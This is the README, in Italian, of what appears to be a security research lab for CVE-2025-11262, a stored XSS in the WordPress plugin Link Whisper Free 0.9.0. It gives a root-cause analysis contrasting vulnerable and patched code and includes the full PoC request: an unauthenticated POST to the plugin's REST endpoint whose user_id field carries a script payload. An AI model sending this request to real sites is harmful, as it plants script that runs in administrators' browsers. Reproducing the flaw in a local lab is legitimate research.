
Laboratorio Docker per riprodurre CVE-2025-11262, una XSS cieca persistente non autenticata nel plugin WordPress Link Whisper Free. Include target vulnerabili e patchati, script PoC e analisi della causa principale.
Questo repository contiene un lab Docker locale per riprodurre la CVE-2025-11262, un problema di cross-site scripting memorizzato non autenticato che colpisce il plugin WordPress Link Whisper Free.
Il lab confronta due versioni del plugin:
| Servizio | Versione del plugin | Scopo | URL |
|---|
vuln | 0.9.0 | Target vulnerabile | http://127.0.0.1:8081 |
patched | 0.9.1 | Target di confronto patchato | http://127.0.0.1:8082 |
La catena di vulnerabilità dimostrata è:
Richiesta REST non autenticata
→ l'user_id controllato dall'attaccante viene persistito
→ un utente WordPress privilegiato apre la pagina Link Whisper AI Subscription
→ il valore memorizzato viene renderizzato in un contesto JavaScript admin
→ alert("CVE-2025-11262-LAB") viene eseguito sulla versione vulnerabile
L'attaccante non deve essere autenticato per piantare il payload memorizzato. Il JavaScript viene eseguito successivamente quando un utente WordPress privilegiato apre la pagina admin interessata.
Questo lab è progettato esclusivamente per ricerca locale controllata, comprensione a livello di sorgente e dimostrazione per portfolio.
| Affermazione | Evidenza | Come verificarlo in questo lab |
|---|---|---|
Link Whisper Free 0.9.0 è vulnerabile. | Gli advisory pubblici identificano come affette le versioni di Link Whisper Free fino alla 0.9.0 inclusa. | Esegui il PoC contro http://127.0.0.1:8081 e apri l'URL admin stampato. |
Link Whisper Free 0.9.1 contiene la correzione. | L'advisory pubblico e i dati del changelog identificano 0.9.1 come versione patchata. | Esegui lo stesso PoC contro http://127.0.0.1:8082; non dovrebbe apparire alcun alert. |
| Il posizionamento del payload non è autenticato. | Il PoC invia una richiesta POST senza cookie WordPress, login o nonce. | Ispeziona poc/poc.py; richiede solo --url. |
| L'impatto visibile viene attivato nell'area admin di WordPress. | Il valore memorizzato viene renderizzato quando un utente privilegiato apre la pagina Link Whisper AI Subscription. | Dopo aver eseguito il PoC, accedi come admin e apri l'URL admin stampato. |
Il target patchato può comunque restituire "ok" a livello HTTP. | I test locali hanno mostrato che entrambi i target possono restituire "ok"; la differenza significativa è se il payload viene persistito ed eseguito. | Confronta il comportamento del browser su 8081 e 8082. |
Questa è la sezione Root Cause Summary da sostituire nel README. È sicura per la pubblicazione, non menziona file interni come vuln_detail.txt e si basa sul lab/source che stai utilizzando ora.
La CVE-2025-11262 è causata da una catena di iniezione JavaScript memorizzata in Link Whisper Free 0.9.0.
Il problema non è una singola chiamata di escaping mancante. È una catena di molteplici comportamenti non sicuri:
Endpoint REST non autenticato
→ validazione insufficiente di user_id
→ archiviazione persistente in wpil_ai_access_user_id
→ rendering non sicuro in un contesto JavaScript admin
→ XSS memorizzato quando un utente privilegiato apre la pagina AI Subscription
Link Whisper Free registra un endpoint REST per l'autenticazione AI nel namespace REST del plugin:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
L'endpoint è registrato come rotta POST:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
Poiché la callback di autorizzazione è __return_true, l'endpoint è raggiungibile senza autenticazione.
Nel lab, l'endpoint effettivo è:
/wp-json/link-whisper/ai-auth
Ciò significa che un attaccante non autenticato può inviare una richiesta all'endpoint senza sessione WordPress, nonce o account amministratore.
In Link Whisper Free 0.9.0, l'handler legge i parametri controllati dall'attaccante dalla richiesta REST:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
Il comportamento vulnerabile è la condizione di validazione debole:
if(!empty($token) && false !== strpos($token, 'ai-')){
Questa controlla solo se il token di accesso fornito contiene la stringa ai-.
Non c'è una validazione rigorosa di user_id prima che venga memorizzato:
update_option('wpil_ai_access_user_id', $user_id);
Di conseguenza, JavaScript controllato dall'attaccante può essere persistito nella tabella delle opzioni di WordPress.
Il valore user_id controllato dall'attaccante viene memorizzato nell'opzione WordPress:
wpil_ai_access_user_id
In questo lab, il PoC invia il seguente payload solo locale:
</script><script>alert("CVE-2025-11262-LAB")</script>
Sul servizio vulnerabile, il payload viene memorizzato come valore di wpil_ai_access_user_id.
L'attaccante non deve essere autenticato per piantare il payload. Il payload viene piantato tramite l'endpoint REST non autenticato.
Il valore memorizzato viene successivamente recuperato tramite la logica delle impostazioni del plugin:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
Il valore viene assegnato a $ai_id e renderizzato nella pagina admin AI Subscription.
In Link Whisper Free 0.9.0, il valore viene inserito direttamente in una stringa JavaScript:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
Poiché $ai_id non viene escapato prima di essere inserito nel contesto JavaScript, un payload memorizzato può fuoriuscire dalla stringa prevista ed eseguire JavaScript quando la pagina admin viene aperta.
Con il payload del lab, l'output renderizzato vulnerabile diventa equivalente a:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
In un browser, il tag di chiusura </script> iniettato termina il blocco script originale e il blocco <script> iniettato viene eseguito.
Il payload viene piantato da un attaccante non autenticato, ma l'esecuzione richiede che un utente WordPress privilegiato apra la pagina admin interessata:
/wp-admin/admin.php?page=link_whisper_ai_subscription
In questo lab, la pagina interessata viene aperta come amministratore WordPress per attivare il dialogo di alert.
Ciò rende il problema una XSS memorizzata non autenticata che colpisce gli amministratori WordPress autenticati o gli utenti privilegiati che possono accedere alla pagina admin Link Whisper AI Subscription.
Link Whisper Free 0.9.1 aggiunge una validazione più rigorosa prima di memorizzare i valori di autenticazione AI.
L'handler patchato richiede che il token e l'ID utente corrispondano a formati rigorosi:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
La validazione importante aggiunta per user_id è:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
Ciò impedisce che JavaScript arbitrario venga memorizzato come ID utente AI.
La versione 0.9.1 esegue anche l'escaping del valore prima di renderizzarlo nel contesto JavaScript:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
La patch quindi mitiga il problema in due punti:
Validazione dell'input prima della persistenza
Escaping dell'output prima del rendering JavaScript
Il lab conferma la differenza tra 0.9.0 e 0.9.1.
Su Link Whisper Free 0.9.0:
POST /wp-json/link-whisper/ai-auth
→ restituisce "ok"
→ memorizza il payload in wpil_ai_access_user_id
→ l'apertura della pagina admin AI Subscription attiva alert("CVE-2025-11262-LAB")
Su Link Whisper Free 0.9.1:
POST /wp-json/link-whisper/ai-auth
→ può comunque restituire "ok"
→ non memorizza il payload
→ l'apertura della pagina admin AI Subscription non attiva alcun alert
La sola risposta HTTP non è sufficiente per determinare se il target è vulnerabile, perché entrambe le versioni possono restituire "ok". La differenza comportamentale significativa è se il payload viene persistito e successivamente renderizzato nel contesto JavaScript admin.
Il lab esegue due istanze WordPress isolate e due database MySQL separati tramite Docker Compose.
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
L'entrypoint Docker automaticamente:
Credenziali predefinite dell'amministratore WordPress per entrambi i servizi:
admin / AdminPassw0rd!
Compila e avvia il lab:
docker compose down -v
docker compose build --no-cache
docker compose up -d
Controlla i container:
docker compose ps
Servizi esposti attesi:
Target vulnerabile: http://127.0.0.1:8081
Target patchato: http://127.0.0.1:8082
Puoi anche osservare i log di configurazione:
docker compose logs vuln patched
Una configurazione riuscita dovrebbe mostrare Link Whisper attivo in ciascuna istanza WordPress.
Esegui il PoC contro il servizio vulnerabile:
python3 poc/poc.py --url http://127.0.0.1:8081
Il PoC invia questo payload solo locale tramite l'endpoint REST non autenticato:
</script><script>alert("CVE-2025-11262-LAB")</script>
Dopo l'esecuzione dello script, apri l'URL admin stampato in un browser e accedi con:
admin / AdminPassw0rd!
Sul servizio vulnerabile, il browser dovrebbe mostrare un alert contenente:
CVE-2025-11262-LAB
Per confronto, esegui lo stesso PoC contro il servizio patchato:
python3 poc/poc.py --url http://127.0.0.1:8082
Quindi apri l'URL admin stampato per il servizio patchato. Non dovrebbe essere attivato alcun alert.
Target vulnerabile:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
Target patchato:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
La sola risposta HTTP non è sufficiente per determinare se il target è vulnerabile. La differenza importante è il comportamento del browser dopo che l'utente privilegiato apre la pagina admin interessata.

Target suggerito per lo screenshot:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
Lo screenshot dovrebbe mostrare l'alert del browser con:
CVE-2025-11262-LAB
Il PoC è volutamente piccolo e richiede solo un URL target:
python3 poc/poc.py --url http://127.0.0.1:8081
Invia una richiesta POST a:
/wp-json/link-whisper/ai-auth
con i seguenti campi del modulo:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
Sul servizio vulnerabile, il valore memorizzato viene successivamente renderizzato nella pagina AI Subscription. Quando un amministratore apre quella pagina, il JavaScript viene eseguito.
Sul servizio patchato, lo stesso payload non dovrebbe produrre alcun alert.
Controlla le versioni dei plugin:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
Controlla se il servizio vulnerabile ha memorizzato il payload:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
Valore vulnerabile atteso:
</script><script>alert("CVE-2025-11262-LAB")</script>
Controlla il servizio patchato:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
Comportamento patchato atteso:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
Controlla i log di accesso dell'endpoint REST:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Aggiorna Link Whisper Free alla versione 0.9.1 o successiva.
La patch impedisce che questo payload del lab venga persistito e renderizzato aggiungendo una validazione più rigorosa e una gestione più sicura dell'output nel flusso di autenticazione AI interessato.
Per gli ambienti di produzione, considera anche:
Ferma e rimuovi container, reti e volumi:
docker compose down -v
Rimuovi le immagini costruite localmente se desiderato:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
Questo lab è esclusivamente per ricerca di sicurezza locale e dimostrazione controllata.
Non eseguire il PoC contro sistemi di cui non sei proprietario o per cui non hai il permesso di testare.
Non usare credenziali reali, segreti di produzione o callback esterni in questo lab.
Il PoC usa intenzionalmente un marcatore alert() visibile come evidenza per lo screenshot. Non include payload per il furto di credenziali, furto di sessione, persistenza oltre il lab o azioni amministrative automatizzate.
GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: voce del database delle vulnerabilità di Link Whisper Free
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
Directory dei plugin di WordPress.org: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
Pacchetto del plugin WordPress.org usato dal lab vulnerabile
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
Pacchetto del plugin WordPress.org usato dal lab patchato
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
Browser del sorgente del plugin WordPress: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
Browser del sorgente del plugin WordPress: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
Browser del sorgente del plugin WordPress: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
Browser del sorgente del plugin WordPress: Link Whisper 0.9.1 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php